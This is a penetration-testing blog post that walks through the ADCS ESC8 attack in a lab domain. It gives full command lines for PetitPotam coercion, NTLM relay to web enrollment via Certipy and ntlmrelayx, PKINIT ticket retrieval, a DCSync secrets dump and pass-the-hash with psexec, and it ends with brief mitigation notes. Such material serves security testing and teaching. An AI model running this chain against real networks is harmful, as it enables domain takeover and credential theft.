Active Directory Certificate Attack: ESC8 – ADCS Web Enrollment

ADCS Part VIII – Introduction

In PART 7 of this short ADCS series, we provided an overview of Active Directory Certificate Services and demonstrated ESC7, one of the escalation techniques. This post will walk you through ESC8, another critical escalation technique that leverages high-privileged permissions on Certificate Authority(CA).

ESC8 utilizes AD CS’s web enrollment interface feature. These optional features are often deployed alongside AD CS. However, due to their authentication handling, these web enrollment endpoints are vulnerable to NTLM relay attacks. In specific situations, a relay attack might not require domain credentials. For example, if the targeted host hasn’t been patched for CVE-2021-36942, an attacker on the network could use the Coercion technique.

Techniques and tools like PetitPotam force the victim machine to authenticate itself to the attacker’s host. This is achieved by exploiting the vulnerable API method OpenEncryptedFileRaw through the LSARPC (Local System Authority Remote Protocol) interface. Not all the web interfaces available from AD CS have HTTPS enabled, which is necessary to protect against NTLM relay attacks. Furthermore, the CA must have at least one certificate template published that allows for client authentication and domain computer enrollment. These endpoints are prime targets for attackers who want to relay NTLM authentication and elevate their access, including targeting a domain controller.

Video Walkthrough

Want to practice this yourself?

Stop reading about ADCS attacks — start doing them. Our ready-to-deploy ADCS OVA lab gives you a fully configured environment with realistic ADCS misconfigurations to exploit. Download, import, and start hacking in minutes.

Get the Lab

Prerequisites – ESC8 Attack

For this technique to work, the following requirements must be met:

  • Access to AD CS Environment: Access to a network where Active Directory Certificate Services are deployed, suggesting they likely already have a foothold.
  • User Account with Enrollment Rights: Account that has the rights to request certificates from AD CS
  • Certificate Authority (CA) Misconfigurations: The CA must have misconfigured or overly permissive certificate templates allowing users to request privilege escalation certificates.

Finding vulnerable Certificate Authority

certipy find -u pcoulson -p 'P4ssw0rd123456@' -dc-ip 192.168.115.180 -enabled
  1. The ESC8 attack does not exploit misconfigurations in certificate templates. Instead, it exploits the configuration of the Certificate Authority (CA) server.
  2. Active Directory Certificate Authorities vulnerable to ESC8 must meet the following conditions:

  • Request Disposition: Issue
  • Web Enrollment: Enabled

Reviewing the Certipy result

Access the Certificate Authority Web Enrollment Page

http http://csa.shield.local/certsrv/certfnsh.asp

ESC8 – Walkthrough

The ADCS ESC8 attack aimed at a domain controller involves using tools like Certify to identify HTTP AD CS endpoints. Attackers then use NTLM coercion techniques, such as exploiting the Windows Print Spooler bug or employing PetitPotam attacks, to obtain NTLM authentication from a domain controller. This obtained NTLM authentication is relayed to the vulnerable AD CS web enrollment endpoint using a tool such as ntlmrelayx. The relay attack then requests a certificate for the domain controller, which is used to request a Kerberos TGT as the domain controller. This allows the attackers to authenticate as the domain controller across the domain and gain access to everything the domain controller machine account has access to.

The attack path can be summarized as follows:

  • We must coerce the victim machine SHIELD-DC4-CA@SHIELD.LOCAL (Windows Server—192.168.115.180) to authenticate to an attacker-controlled host (Kali machine—192.168.115.138).
  • We will need to relay the hash obtained from the victim to the ADCS HTTP endpoint
  • Next, we must request a certificate in the name of the coerced machine account.
  • Finally, authenticate with the obtained certificate to collect the NTLM hash of the victim machine.

ADCS Enumeration Using Bloodhound

Bloodhound identifies the attack path; however, in this scenario, the vulnerability is unrelated to a certificate template. As a result, Bloodhound will be utilized to locate the certificate authority web enrollment server.

Certificate Authorities with HTTP Web Enrollment (ESC8)

Relay Attack Using Certipy

Different tools are used to perform the relay attack. In this blog, we are going to focus on two main ones, certipy and ntlmrelayx

Method 1 – Certipy

We can configure Certipy to relay the coerced credentials to the ADCS HTTP endpoint, using the following command to request a certificate on behalf of the domain controller called DC4.SHIELD.local

certipy relay -target csa.shield.local -template "DomainController"

NOTE: If we do not specify a template name, Certipy will attempt to issue a certificate using the Machine and User templates. These are default templates, but that does not mean they will be available in all target environments or apply to your victim account. 

Coerce Victim Machine & Certificate Request

Several tools can be used to conduct coercion attacks.  

This blog will use PetitPotam since the DC4.SHIELD.local hasn’t been patched for CVE-2021-36942. Alternative tools

python /opt/PetitPotam/PetitPotam.py 192.168.115.138 192.168.115.180

Authenticate using a Previously Obtained PFX Certificate

certipy auth -pfx dc4.pfx

Exporting Kerberos Ticket & Dumping Secrets From the Domain Controller

export KRB5CCNAME=dc4.ccache
impacket-secretsdump dc4\$@dc4.shield.local -k -no-pass

Gaining Access to DC via Pass-The-Hash Technique – PsExec

impacket-psexec nfury@shield.local -hashes aad3b435b51404eeaad3b435b51404ee:175820fb0a1f00c1270ebffb51404eeee

Please refer to one of our previous ADCS attacks for more detailed information on gaining access via the Pass-The-Hash Technique.

Method 2 – Ntlmrelayx – Relay Attack Using

impacket-ntlmrelayx

We can configure impacket-ntlmrelayx to relay the coerced credentials to the ADCS HTTP endpoint, using the following command to request a certificate on behalf of the domain controller called DC4.SHIELD.local

#ADCS HTTP ENDPOINT = http://192.168.115.144/certsrv/certfnsh.asp

impacket-ntlmrelayx -t http://192.168.115.144/certsrv/certfnsh.asp -smb2 —-adcs --template 'Domain Controller'

Coerce Victim Machine & Certificate Request

python /opt/PetitPotam/PetitPotam.py 192.168.115.138 192.168.115.180

Requesting the TGT using the certificate.

python /opt/PKINITtools/gettgtpkinit.py shield.local/DC4\$ -pfx-base64 $(cat cert.txt) dc4.ccache

Using the TGT to perform DCSync attack

export KRB5CCNAME=dc4.ccache
impacket-secretsdump dc4\$@dc4.shield.local -k -no-pass

For more options, please refer to our previous blog named Insider Insights: Strategies For Initial Access In An Internal Pentest Part 2

Conclusion

The ADCS ESC8 attack highlights the need to secure Active Directory Certificate Services (ADCS). Misconfigurations in certificate templates can let attackers elevate privileges, threatening domain security. Organizations should audit their ADCS, review templates, and enforce least privilege to prevent attacks. Implementing security measures such as patching, monitoring, and hardening ADCS can reduce the risk of ESC8 exploitation and protect Active Directory environments.

Looking for a team to critically test your environment using real-world attack techniques? Explore RBT Security’s red team and penetration testing services.

Detections & Mitigations

  • Credentials from Password Stores – T1555
  • Steal or Forge Authentication Certificates – T1649
  • Pass The Hash – T1550.002
  • Steal or Forge Kerberos Tickets – T1558
  • Pass the Ticket – T1550.003

Credits & References

Share the Post:

Table of Contents

Subscribe To Our Blog

Light